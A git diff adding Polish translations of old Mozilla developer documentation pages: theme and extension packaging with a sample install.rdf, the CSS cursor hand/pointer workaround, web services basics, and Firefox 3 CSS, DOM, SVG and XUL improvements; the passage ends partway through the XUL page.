+<h4 id="Wymagane_w.C5.82asno.C5.9Bci_install.rdf" name="Wymagane_w.C5.82asno.C5.9Bci_install.rdf">Wymagane własności install.rdf</h4>
+<p>Plik install.rdf musi posiadać następujące własności. By dowiedzieć się więcej zobacz <a href="pl/Install.rdf">install.rdf</a>:</p>
+<ul>
+ <li>em:id</li>
+ <li>em:version</li>
+ <li>em:type</li>
+ <li>em:targetApplication</li>
+ <li>em:name</li>
+ <li>em:internalName</li>
+</ul>
+<h4 id="Opcjonalne_w.C5.82asno.C5.9Bci_install.rdf" name="Opcjonalne_w.C5.82asno.C5.9Bci_install.rdf">Opcjonalne własności install.rdf</h4>
+<ul>
+ <li>em:description</li>
+ <li>em:creator</li>
+ <li>em:contributor</li>
+ <li>em:homepageURL</li>
+ <li>em:updateURL</li>
+</ul>
+<p><b>Uwaga</b>: jeśli twój motyw będzie dostępny na stronie <a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a> nie powinien on zawierać własności updateURL.</p>
+<h4 id="Przyk.C5.82adowy_plik_install.rdf" name="Przyk.C5.82adowy_plik_install.rdf">Przykładowy plik install.rdf</h4>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+ xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+ &lt;Description about="urn:mozilla:install-manifest"&gt;
+ &lt;em:id&gt;{18b64b56-d42f-428d-a88c-baa413bc413f}&lt;/em:id&gt;
+ &lt;em:version&gt;1.0&lt;/em:version&gt;
+ &lt;em:type&gt;4&lt;/em:type&gt;
+
+ &lt;!-- Target Application this extension can install into,
+ with minimum and maximum supported versions. --&gt;
+ &lt;em:targetApplication&gt;
+ &lt;Description&gt;
+ &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+ &lt;em:minVersion&gt;0.8&lt;/em:minVersion&gt;
+ &lt;em:maxVersion&gt;0.9&lt;/em:maxVersion&gt;
+ &lt;/Description&gt;
+ &lt;/em:targetApplication&gt;
+
+ &lt;!-- Front End MetaData --&gt;
+ &lt;em:name&gt;New Theme 1&lt;/em:name&gt;
+ &lt;em:description&gt;A test theme for Firefox&lt;/em:description&gt;
+ &lt;em:creator&gt;Ben Goodger&lt;/em:creator&gt;
+ &lt;em:contributor&gt;John Doe&lt;/em:contributor&gt;
+ &lt;em:homepageURL&gt;<span class="nowiki">http://www.bengoodger.com/</span>&lt;/em:homepageURL&gt;
+
+ &lt;!-- Front End Integration Hooks (used by Theme Manager)--&gt;
+ &lt;em:internalName&gt;newtheme1&lt;/em:internalName&gt;
+ &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<p>Poniższe GUID przykładowych aplikacji docelowych można użyć w swoich własnościach targetApplication:</p>
+<pre class="eval">Firefox {ec8030f7-c20a-464f-9b0e-13a3a9e97384}
+Thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6}
+Sunbird {718e30fb-e89b-41dd-9da7-e25a45638b28}
+</pre>
+<h3 id="Oficjalne_dokumentacje_dla_Toolkit_API" name="Oficjalne_dokumentacje_dla_Toolkit_API">Oficjalne dokumentacje dla <a href="pl/Toolkit_API">Toolkit API</a></h3>
+<p>
+ </p><ul>
+ <li><a href="/en/Bundles" title="en/Bundles">Structure of an Installable Bundle</a>: describes the common structure of installable bundles, including extensions, themes, and XULRunner applications</li>
+ <li><a href="/en/Extension_Packaging" title="en/Extension_Packaging">Extension Packaging</a>: specific information about how to package extensions</li>
+ <li><a href="/en/Theme_Packaging" title="en/Theme_Packaging">Theme Packaging</a>: specific information about how to package themes</li>
+ <li><a href="/en/Multiple_Item_Packaging" title="en/Multiple_Item_Packaging">Multiple-item Extension Packaging</a>: specific information about multiple-item extension XPIs</li>
+ <li><a href="/en/XUL_Application_Packaging" title="en/XUL_Application_Packaging">XUL Application Packaging</a>: specific information about how to package XULRunner applications</li>
+ <li><a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Registration</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XUL/Printing">Printing in XUL Apps</a></li>
+ </ul>
diff --git a/files/pl/pakowanie_rozszerzeń/index.html b/files/pl/pakowanie_rozszerzeń/index.html
new file mode 100644
index 0000000000..bda3f5f6bd
--- /dev/null
+++ b/files/pl/pakowanie_rozszerzeń/index.html
@@ -0,0 +1,34 @@
+---
+title: Pakowanie rozszerzeń
+slug: Pakowanie_rozszerzeń
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Extension_Packaging
+---
+<p>Rozszerzenia są formą <a href="/pl/docs/Paczki">instalowalnych paczek</a>, które mogą być ściągnięte i zainstalowane przez użytkownika, lub też dostarczone wraz z aplikacją, albo zewnętrzny program. Rozszerzenia używają <a href="/pl/docs/Paczki">struktury katalogów</a> mogących dostarczyć chrome, komponenty, lub też inne pliki w celu rozszerzenia funkcjonalności programu XUL-a. Każde rozszerzenie musi posiadać plik <a href="/pl/docs/Install.rdf">install.rdf</a> zawierający meta dane o nim, tj. unikatowe ID, wersje, autora oraz informacje o kompatybilności.</p>
+
+<p>Po przygotowaniu plików rozszerzenia oraz install.rdf istnieje kilka sposobów na przygotowanie wtyczki do instalacji: spakowanie katalogu rozszerzenia (za pomocą zipa) do instalowalnego pliku <a href="/pl/docs/XPI">XPI</a> (xpinstall), bezpośrednie rozpakowanie wtyczki do aplikacji użytkownika lub katalogu profilu, lub też rejestrację wtyczki w rejestrach Windows.</p>
+
+<h2 id="Tworzenie_rozszerzenia_XPI" name="Tworzenie_rozszerzenia_XPI">Tworzenie rozszerzenia XPI</h2>
+<p>Plik <a href="/pl/docs/XPI">XPI</a> (XPInstall) jest po prostu plikiem ZIP zawierającym pliki rozszerzenia z plikiem <a href="/pl/docs/Install.rdf">install.rdf</a> w katalogu głównym archiwum ZIP. Użytkownicy mogą ściągnąć i zainstalować pliki XPI prosto z sieci, lub też lokalnie poprzez ich otwarcie, lub przeciągnięcie do okna Rozszerzenia.</p>
+<p>Typ MIME plików XPI rozpoznawalny przez Firefoxa to <i>application/x-xpinstall</i>. Ponieważ większość serwerów HTTP nie jest skonfigurowana tak, aby domyślnie zwracać typ MIME rozszerzenia .xpi, będziesz musiał to zrobić sam. Dla serwera Apache może to być wykonane poprzez dodanie poniższej dyrektywy do pliku konfiguracyjnego lub .htaccess:</p>
+
+<pre class="eval">AddType application/x-xpinstall .xpi
+</pre>
+
+<h2 id="Bezpo.C5.9Brednia_instalacja_plik.C3.B3w_rozszerzenia" name="Bezpo.C5.9Brednia_instalacja_plik.C3.B3w_rozszerzenia">Bezpośrednia instalacja plików rozszerzenia</h2>
+<p>Jeśli znasz położenie aplikacji (instalując przykładowo rozszerzenie jako część aplikacji instalacyjnej) możesz bezpośrednio zainstalować pliki rozszerzenia w &lt;appdir&gt;/extensions/&lt;extensionID&gt;. Rozszerzenie zostanie automatycznie odnalezione przez menedżera rozszerzeń podczas następnego startu aplikacji.</p>
+<p>Używając tej metody musisz sprawdzić prawa dostępu do katalogów oraz plików rozszerzenia. W przeciwnym wypadku menedżer rozszerzeń, lub samo rozszerzenie może działać nieprawidłowo.</p>
+
+<h2 id="Rejestracja_rozszerzenia_za_pomoc.C4.85_rejestr.C3.B3w_Windows" name="Rejestracja_rozszerzenia_za_pomoc.C4.85_rejestr.C3.B3w_Windows">Rejestracja rozszerzenia za pomocą rejestrów Windows</h2>
+<p>Zewnętrzne aplikacje instalacyjne (tj. Java) mogą próbować instalować punkty integracyjne aplikacji jako rozszerzenie nawet w przypadku, gdy aplikacja nie została jeszcze zainstalowana. Można tego dokonać w Windowsie <a href="/pl/docs/Dodawanie_rozszerze%c5%84_poprzez_rejestr_systemu_Windows">używając rejestrów</a>.</p>
+
+<h2 id="Wielosk.C5.82adnikowe_rozszerzenia_XPI" name="Wielosk.C5.82adnikowe_rozszerzenia_XPI">Wieloskładnikowe rozszerzenia XPI</h2>
+<p>W niektórych przypadkach pojedynczy plik XPI może instalować wiele rozszerzeń/motywów. Specjalny typ rozszerzenia nazwany <a href="/pl/docs/Multiple_Item_Packaging">Multiple Item Package</a> objaśnia jak należy stworzyć ten typ paczki (wymagania: Firefox 1.5/XULRunner 1.8).</p>
+
+<h2 id="Oficjalne_dokumentacje_dla_Toolkit_API" name="Oficjalne_dokumentacje_dla_Toolkit_API">Oficjalne dokumentacje dla <a href="/pl/docs/Toolkit_API">Toolkit API</a></h2>
+
+<div>{{ page("/pl/docs/Toolkit_API/Dokumentacje") }}</div>
diff --git a/files/pl/podaj_dłoń_'kursorowi'/index.html b/files/pl/podaj_dłoń_'kursorowi'/index.html
new file mode 100644
index 0000000000..baa2fe3d97
--- /dev/null
+++ b/files/pl/podaj_dłoń_'kursorowi'/index.html
@@ -0,0 +1,42 @@
+---
+title: Podaj Dłoń 'kursorowi'
+slug: Podaj_Dłoń_'kursorowi'
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p> </p>
+<p><span class="comment">Summary: Netscape 6 and Mozilla support cursor quite nicely, but that's not true of some other browsers. Happily, there's a fix. Find out how to get a hand from multiple browsers when you use this property.</span> Wielu programistów pytało kiedy Mozilla i Netscape 6+ planuje zaimplementować obsługę własności <code>cursor</code>. Są oni zazwyczaj zaskoczeni odkrywając, że obie przeglądarki już od dawna wspierają ten standard. Obsługa jest oparta na zatwierdzonej specyfikacji W3C dla CSS2, w odróżnieniu od dodawania własnych pomysłów.</p>
+<p>Podstawowym problemem jest to, że: Internet Explorer 5.x dla Windows rozpoznaje wartość <code>hand</code>, która nie występuje nigdzie w <a class="external" href="http://www.w3.org/TR/REC-CSS2/ui.html#propdef-cursor">sekcji 18.1 CSS2</a>-- ani nigdzie indziej w specyfikacji na ten temat. Wartość najbliższa zachowaniu <code>hand</code> to <code>pointer</code>, który specyfikacja definiuje jako: "Kursor jest wskaźnikiem pokazującym odnośnik." Należy zwrócić uwagę, że nigdzie nie jest powiedziane, że ma on pokazywać rękę, ale patrząc na aktualne zachowanie przeglądarek, efekt jest właściwie taki sam.</p>
+<p>Niestety, IE5.x/Win zupełnie nie rozpoznaje wartości <code>pointer</code>. Na szczęście IE6/Win i IE5.x/Mac rozpoznają <code>pointer</code> tak samo jak <code>hand</code>. Niemniej, Mozilla i Netscape 6+ w zgodzie ze specyfikacją CSS2 wspierają <code>pointer</code>, lecz ignorują własnościową wartość <code>hand</code>.</p>
+<p>Tak więc jeżeli Mozilla/Netscape ignoruje <code>hand</code> a IE5.x/Win ignoruje <code>pointer</code>, co może zrobić autor? Poproś o oba, w odpowiedniej kolejności, a zostaniesz nagrodzony.</p>
+<pre>a {cursor: pointer; cursor: hand;}</pre>
+<p><b>Nie</b> odwracaj kolejności! Jeżeli zapiszesz styl tak jak pokazany powyżej, Gecko zobaczy wartość pierwszą i zignoruje drugą, więc w efekcie dostaniesz <code>pointer</code>. IE5.x/Win zobaczy obie i użyje drugiej, więc dostaniesz <code>hand</code>. Jeżeli odwrócisz wartości, to Gecko zadziała, ale IE5.x/Win również zobaczy oba i użyje drugiego, a to nie da Ci małego wskaźnika-rączki...</p>
+<p>Przy użyciu powyższej sztuczki możesz upewnić się, że Twoja strona pokaże wskaźnik rączki za każdym razem.</p>
+<p><b>Ostrzeżenie:</b> Powyższy przykład polecany tutaj spowoduje, że strona nie będzie się walidować, ponieważ będzie zawierać nieprawidłową wartość <code>cursor</code>. Autorzy stron powinni sami ocenić czy ten problem jest ważniejszy, czy mniej ważny od wsparcia IE5.x/Win.</p>
+<h3 id="Sprawdzanie_wsparcia" name="Sprawdzanie_wsparcia">Sprawdzanie wsparcia</h3>
+<p>Zastanawiasz się czy Twoja przeglądarka obsługuje <code>hand</code> i <code>pointer</code>? Sprawdź to w poniższej tabelce!</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td style="cursor: pointer;">Ta komórka tabeli posiada styl <code>cursor: pointer</code>. Powinna spowodować zmianę kursora na małą wskazującą rączkę w Mozilli i Netscape 6+, IE6/Win, oraz IE5.x/Mac, lecz nie IE5.x/Win.</td>
+ <td>Ta komórka tabelinie posiada atrybutu <code>cursor</code> zatem powinien zostać użyty domyślny kursor.</td>
+ <td style="cursor: hand;">Ta komórka tabeli posiada styl <code>cursor: hand</code>. Powinna spowodować zmianę kursora na mały wskaźnik w IE5+/Win, ale nie w Mozilli i Netscape 6.</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Powi.C4.85zane_odno.C5.9Bniki" name="Powi.C4.85zane_odno.C5.9Bniki">Powiązane odnośniki</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/ui.html#propdef-cursor">CSS2, sekcja 18.1</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie">Informacje o dokumencie</h3>
+ <ul>
+ <li>Autor: Eric A. Meyer, Netscape Communications</li>
+ <li>Data ostatniej aktualizacji: Published 04 Mar 2002; Revised 30 Jan 2003</li>
+ <li>Informacje o prawach autorskich: Copyright © 2001-2003 Netscape. Wszystkie prawa zastrzeżone.</li>
+ <li>Notka: Ten artykuł orginalnie został opublikowany na stronie DevEdge.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/podstawy_web_services/index.html b/files/pl/podstawy_web_services/index.html
new file mode 100644
index 0000000000..d4afeea604
--- /dev/null
+++ b/files/pl/podstawy_web_services/index.html
@@ -0,0 +1,38 @@
+---
+title: Podstawy Web Services
+slug: Podstawy_Web_Services
+tags:
+ - SOAP
+ - Wszystkie_kategorie
+ - XML
+ - XML Web Services
+translation_of: Archive/The_Basics_of_Web_Services
+---
+<p>
+</p><p><span>Summary: A current hot topic on the web right now are Web Services. This short guide will allow you to learn more about web services.</span>
+</p>
+<h3 id="Podstawy"> Podstawy </h3>
+<p>Web services nie jest tak naprawdę technologią nową. Jeżeli kiedykolwiek używałeś RSS lub Atom do pobierania wiadomości z jakiejś strony, to masz wyobrażenie jak działa web services.
+</p><p>Web services wymienia dane między serwerem a klientem, używając formatu XML do przesyłania żądań, tak więc zarówno serwer jak i klient mogą rozumieć się nawzajem. (<a href="pl/XML_Introduction">Wprowadzenie do XMLa</a>).
+</p><p>Aby lepiej zrozumieć Web Service, można porównać to do komunikacji formularzy HTML ze skryptami po stronie serwera (jak PHP lub ASP) w celu przesyłania danych.
+Zarówno Web Service jak i formularze wysyłają i odbierają żądania. Jedyna różnica polega na tym, że Web Service używa XML-a.
+</p>
+<h3 id="Przyk.C5.82ady_dzia.C5.82ania_Web_Services"> Przykłady działania Web Services </h3>
+<p>Jak wcześniej napisano, zasoby RSS i Atom są prostymi przykładami działania Web Services, innymi mogą być technologie XML-RPC i SOAP, które także używane są do komunikacji między serwerem a klientem.
+</p>
+<h3 id="Wprowadzenie_do_XML-RPC"> Wprowadzenie do XML-RPC </h3>
+<p>XML RPC jest rodzajem technologii Web Services i istnieje w sieci od 1998 roku. Choć nie jest oficjalnym standardem <a class="external" href="http://www.w3.org/">W3C</a>, jest szeroko stosowany. XML-RPC został stworzony przez Useful Inc oraz firmę Microsoft.
+</p>
+<h3 id="Wprowadzenie_do_SOAP"> Wprowadzenie do SOAP </h3>
+<p>Technologia SOAP jest na liście standardów <a class="external" href="http://www.w3.org/">W3C</a>, i jest w wielu miejscach bardzo podobna do XML-RPC. SOAP był rozwijany przez IBM, przy współpracy z Microsoftem.
+</p>
+<h3 id="SOAP_czy_XML-RPC.3F"> SOAP czy XML-RPC? </h3>
+<p>W skrócie, SOAP miał na celu wypełnić luki XML-RPC. Na przykład, łatwiej jest wysłać wielowymiarową tablicę przez SOAP niż przez XML-RPC. SOAP posiada także więcej funkcji niż XML-RPC, ale XML-RPC nadal znajduje swoje zastosowanie.
+</p>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_dokumencie"> Informacje o dokumencie </h3>
+<ul><li> Autor: Justin G. Shreve
+</li><li> Ostatnia aktualizacja: May 19th </li><li> Tłumaczenie: Zbigniew Braniecki
+</li></ul>
+</div>
+{{ languages( { "en": "en/The_Basics_of_Web_Services", "fr": "fr/Les_bases_des_services_Web", "ko": "ko/The_Basics_of_Web_Services" } ) }}
diff --git a/files/pl/poprawki_css_w_firefoksie_3/index.html b/files/pl/poprawki_css_w_firefoksie_3/index.html
new file mode 100644
index 0000000000..cf08d79f5b
--- /dev/null
+++ b/files/pl/poprawki_css_w_firefoksie_3/index.html
@@ -0,0 +1,45 @@
+---
+title: Poprawki CSS w Firefoksie 3
+slug: Poprawki_CSS_w_Firefoksie_3
+tags:
+ - CSS
+ - Firefox 3
+ - Wszystkie_kategorie
+translation_of: Mozilla/Firefox/releases/3/CSS_improvements
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>W programie Firefox 3 wprowadzono szereg udoskonaleń obsługi arkuszy stylów CSS. Poszczególne zmiany są przedstawione na odpowiednich stronach z dokumentacją — niniejszy artykuł zawiera jedynie krótkie omówienie umożliwiające szybkie zapoznanie się z nowościami.</p>
+
+<ul>
+ <li>Obsługiwane są wartości <code>inline-block</code> i <code>inline-table</code> dla własności {{ Cssxref("display") }}.</li>
+ <li>Własność {{ Cssxref("font-size-adjust") }} jest teraz obsługiwana na wszystkich platformach (poprzednio tylko w systemie Windows).</li>
+ <li>Obsługiwane są wartości <code>rgba()</code> i <code>hsla()</code> dla własności {{ Cssxref("color") }} ({{ Bug(147017) }}).</li>
+ <li>Obsługiwana jest pseudoklasa {{ Cssxref(":default") }} ({{ Bug(302186) }}).</li>
+ <li>Dla własności {{ Cssxref("width") }}, {{ Cssxref("min-width") }} i {{ Cssxref("max-width") }} można teraz użyć wartości <code>-moz-max-content</code>, <code>-moz-min-content</code>, <code>-moz-fit-content</code> i <code>-moz-available</code> ({{ Bug(311415) }} i {{ Bug(402706) }}).</li>
+ <li>Obsługiwane są łączniki opcjonalne w języku HTML (<code>&amp;shy;</code>).</li>
+ <li>Znaki tabulacji w tekście preformatowanym są teraz lepiej obsługiwane w przypadku użycia czcionek proporcjonalnych (zgodnie ze specyfikacją CSS 2.1).</li>
+ <li>Obsługiwana jest własność {{ Cssxref("ime-mode") }}.</li>
+ <li>Obsługiwana jest własność CSS <code>text-rendering</code> dla treści w języku HTML ({{ Bug(387969) }}).</li>
+ <li>Zaimplementowano obsługę własności CSS <code>-moz-border-*-start</code> i <code>-moz-border-*-end</code> ({{ Bug(74880) }}).</li>
+ <li>Wartość <code>-moz-initial</code> jest obsługiwana przez niemal wszystkie własności CSS (z wyjątkiem znaczników <code>quote</code> i wartości <code>-moz-border-<em>*</em>-color</code>); patrz {{ Bug(80887) }}.</li>
+ <li>Metoda <code>window.getComputedStyle()</code> zwraca wszystkie obsługiwane własności CSS ({{ Bug(316981) }}).</li>
+ <li>Obsługiwana jest wartość <code>none</code> dla własności {{ Cssxref("content") }} ({{ Bug(378535) }}).</li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/Firefox_3_dla_programist%c3%b3w">Firefox 3 dla programistów</a></li>
+ <li><a href="pl/Poprawki_DOM_w_Firefoksie_3">Poprawki DOM w Firefoksie 3</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS_improvements_in_Firefox_3", "es": "es/Mejoras_CSS_en_Firefox_3", "fr": "fr/Am\u00e9liorations_CSS_dans_Firefox_3", "ja": "ja/CSS_improvements_in_Firefox_3" } ) }}</p>
diff --git a/files/pl/poprawki_dom_w_firefoksie_3/index.html b/files/pl/poprawki_dom_w_firefoksie_3/index.html
new file mode 100644
index 0000000000..f9ad9e21e2
--- /dev/null
+++ b/files/pl/poprawki_dom_w_firefoksie_3/index.html
@@ -0,0 +1,40 @@
+---
+title: Poprawki DOM w Firefoksie 3
+slug: Poprawki_DOM_w_Firefoksie_3
+tags:
+ - DOM
+ - Firefox 3
+ - Wszystkie_kategorie
+translation_of: Mozilla/Firefox/Releases/3/DOM_improvements
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>W programie Firefox 3 wprowadzono szereg udoskonaleń implementacji <a href="pl/DOM">Obiektowego Modelu Dokumentu</a> (ang.<em>Document Object Model</em> — DOM), dotyczących przede wszystkim obsługi rozszerzeń DOM zastosowanych w innych przeglądarkach. W tym artykule przedstawiono listę zmian oraz odnośniki do szczegółowej dokumentacji.</p>
+
+<ul>
+ <li>Obsługiwane są rozszerzenia DOM z przeglądarki Internet Explorer: <code><a href="pl/DOM/element.clientTop">clientTop</a></code> i <code><a href="pl/DOM/element.clientLeft">clientLeft</a></code>.</li>
+ <li>Własność <code><a href="pl/DOM/window.fullScreen">window.fullScreen</a></code> zwraca zawsze dokładną wartość, niezależnie od kontekstu, w którym jest odczytywana. W poprzednich wersjach Firefoksa zwracana była nieprawidłowa wartość <code>false</code> ({{ Bug(127013) }}).</li>
+ <li>Obsługiwane są rozszerzenia DOM <code><a href="pl/DOM/element.getClientRects">getClientRects</a></code> i <code><a href="pl/DOM/element.getBoundingClientRect">getBoundingClientRect</a></code> (patrz {{ Bug(174397) }}).</li>
+ <li>Obsługiwane jest rozszerzenie DOM z przeglądarki Internet Explorer: <code><a href="pl/DOM/document.elementFromPoint">elementFromPoint</a></code> ({{ Bug(199692) }}).</li>
+ <li>Obsługiwane są rozszerzenia DOM z przeglądarki Internet Explorer: <code><a href="pl/DOM/element.oncut">oncut</a></code>, <code><a href="pl/DOM/element.oncopy">oncopy</a></code>, <code><a href="pl/DOM/element.onpaste">onpaste</a></code>, <code><a href="pl/DOM/element.onbeforecut">onbeforecut</a></code>, <code><a href="pl/DOM/element.onbeforepaste">onbeforecopy</a></code> i <code><a href="pl/DOM/element.onbeforepaste">onbeforepaste</a></code> ({{ Bug(280959) }}).</li>
+ <li>Dodano dostępne wyłącznie w kodzie uprzywilejowanym metody pobierania dla własności <code>Node.nodePrincipal</code>, <code>Node.baseURIObject</code> i <code><a href="pl/DOM/document.documentURIObject">document.documentURIObject</a></code>. W kodzie chrome nie wolno ani pobierać, ani ustawiać tych własności dla obiektu nieopakowanego (np. dla obiektu <code>wrappedJSObject</code>, będącego własnością obiektu <code><a href="pl/XPCNativeWrapper">XPCNativeWrapper</a></code>); aby uzyskać szczegółowe informacje, patrz {{ Bug(324464) }}.</li>
+ <li>Obsługiwana jest metoda DOM <code><a href="pl/DOM/document.getElementsByClassName">getElementsByClassName()</a></code>, zdefiniowana w specyfikacji The Web Applications 1.0 (HTML5).</li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/Firefox_3_dla_programist%c3%b3w">Firefox 3 dla programistów</a></li>
+ <li><a href="pl/Poprawki_CSS_w_Firefoksie_3">Poprawki CSS w Firefoksie 3</a></li>
+ <li><a href="pl/DOM">DOM</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM_improvements_in_Firefox_3", "es": "es/Mejoras_DOM_en_Firefox_3", "fr": "fr/Am\u00e9liorations_DOM_dans_Firefox_3", "ja": "ja/DOM_improvements_in_Firefox_3" } ) }}</p>
diff --git a/files/pl/poprawki_svg_w_firefoksie_3/index.html b/files/pl/poprawki_svg_w_firefoksie_3/index.html
new file mode 100644
index 0000000000..b063fb949e
--- /dev/null
+++ b/files/pl/poprawki_svg_w_firefoksie_3/index.html
@@ -0,0 +1,64 @@
+---
+title: Poprawki SVG w Firefoksie 3
+slug: Poprawki_SVG_w_Firefoksie_3
+tags:
+ - Firefox 3
+ - SVG
+ - Wszystkie_kategorie
+translation_of: Mozilla/Firefox/Releases/3/SVG_improvements
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>W programie Firefox 3 wprowadzono wiele udoskonaleń obsługi formatu <a href="pl/SVG">skalowalnej grafiki wektorowej</a> (SVG) w porównaniu z poprzednimi wersjami przeglądarki. Nowe funkcje są szczegółowo omówione w odpowiedniej dokumentacji — niniejszy artykuł zawiera jedynie listę nowości, jakie pojawiły się w Firefoksie 3.</p>
+
+<ul>
+ <li>Obsługiwany jest element <code>foreignObject</code> ({{ Bug(326966) }}). Aby uzyskać szczegółowe informacje, zapoznaj się ze <a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">specyfikacją</a> lub <a class="external" href="http://weblogs.mozillazine.org/roc/archives/2006/06/the_future_is_now.html">tym artykułem</a>.</li>
+ <li>Obsługiwany jest element <code>pattern</code> (<a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">specyfikacja</a>).</li>
+ <li>Obsługiwany jest element <code>mask</code> (<a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">specyfikacja</a>).</li>
+ <li>Obsługiwane są wszystkie filtry SVG 1.1 (<a class="external" href="http://www.w3.org/TR/SVG11/filters.html">specyfikacja</a>):
+ <ul>
+ <li><code>filter</code>,</li>
+ <li><code>feDistantLight</code>,</li>
+ <li><code>fePointLight</code>,</li>
+ <li><code>feSpotLight</code>,</li>
+ <li><code>feBlend</code>,</li>
+ <li><code>feColorMatrix</code>,</li>
+ <li><code>feConvolveMatrix</code>,</li>
+ <li><code>feComponentTransfer</code>, <code>feFuncR</code>, <code>feFuncG</code>, <code>feFuncB</code>, <code>feFuncA</code>,</li>
+ <li><code>feComposite</code>,</li>
+ <li><code>feConvolveMatrix</code>,</li>
+ <li><code>feDiffuseLighting</code>,</li>
+ <li><code>feDisplacementMap</code>,</li>
+ <li><code>feDistantLight</code>,</li>
+ <li><code>feFlood</code>,</li>
+ <li><code>feGaussianBlur</code>,</li>
+ <li><code>feImage</code>,</li>
+ <li><code>feMerge</code>, <code>feMergeNode</code>,</li>
+ <li><code>feMorphology</code>,</li>
+ <li><code>feOffset</code>,</li>
+ <li><code>fePointLight</code>,</li>
+ <li><code>feSpecularLighting</code>,</li>
+ <li><code>feTurbulence</code>,</li>
+ <li><code>feTile</code>.</li>
+ </ul>
+ </li>
+ <li>Naprawiono błędy w obsłudze elementu <code>&lt;a&gt;</code> w kodzie SVG; patrz {{ Bug(267664) }}, {{ Bug(268135) }}, {{ Bug(316248) }}, {{ Bug(317270) }} i {{ Bug(320724) }}.</li>
+ <li>Zaimplementowano metody SVG DOM <code>getNumberOfChars()</code>, <code>getComputedTextLength()</code>, <code>getSubStringLength()</code>, <code>getStartPositionOfChar()</code>, <code>getEndPositionOfChar()</code>, <code>getRotationOfChar()</code> i <code>getCharNumAtPosition()</code>.</li>
+ <li>Obsługiwany jest atrybut <code>xml:space</code> (<a class="external" href="http://www.w3.org/TR/SVG/text.html#WhiteSpace">specyfikacja</a>).</li>
+ <li>Obsługiwane są własności <code>fill</code> i <code>stroke</code> (<a class="external" href="http://www.w3.org/TR/SVG/painting.html#SpecifyingPaint">specyfikacja</a>).</li>
+ <li>Rozmiary można podawać w jednostkach <code>em</code> i <code>ex</code> ({{ Bug(305859) }}).</li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/SVG">SVG</a></li>
+ <li><a href="pl/SVG_w_Firefoksie">SVG w Firefoksie</a></li>
+ <li><a href="pl/Firefox_3_dla_programist%c3%b3w">Firefox 3 dla programistów</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/SVG_improvements_in_Firefox_3", "es": "es/Mejoras_SVG_en_Firefox_3", "fr": "fr/Am\u00e9liorations_SVG_dans_Firefox_3", "ja": "ja/SVG_improvements_in_Firefox_3" } ) }}</p>
diff --git a/files/pl/poprawki_xul_w_firefoksie_3/index.html b/files/pl/poprawki_xul_w_firefoksie_3/index.html
new file mode 100644
index 0000000000..c6a0a1c764
--- /dev/null
+++ b/files/pl/poprawki_xul_w_firefoksie_3/index.html
@@ -0,0 +1,97 @@
+---
+title: Poprawki XUL w Firefoksie 3
+slug: Poprawki_XUL_w_Firefoksie_3
+tags:
+ - Firefox 3
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Mozilla/Firefox/Releases/3/XUL_improvements_in_Firefox_3
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Firefox 3 oferuje kilka nowych elementów <a href="/pl/XUL" title="pl/XUL">XUL</a>, jak również poprawki do już istniejących elementów. Mimo, iż ten materiał jest udokumentowany gdzie indziej, ten artykuł dostarcza dogodną listę wyżej wspomnianych poprawek jak i linki do dokładnej dokumentacji.</p>
+
+<h3 id="Nowe_elementy" name="Nowe_elementy">Nowe elementy</h3>
+
+<ul>
+ <li><a href="/pl/Kurs_XUL/Kontrolki_numeryczne" title="pl/Kurs_XUL/Kontrolki_numeryczne">Kontrolki numeryczne</a>:
+
+ <ul>
+ <li>Nowy element <code><a href="/pl/XUL/scale" title="pl/XUL/scale">&lt;scale&gt;</a></code> pozwala na tworzenie ruchomych skali, które pozwalają użytkownikowi wybrać jakąkolwiek wartość w określonym zakresie. Ten gadżet mógłby by być używany, dla przykładu; do tworzenia regulacji głośności dźwięku.</li>
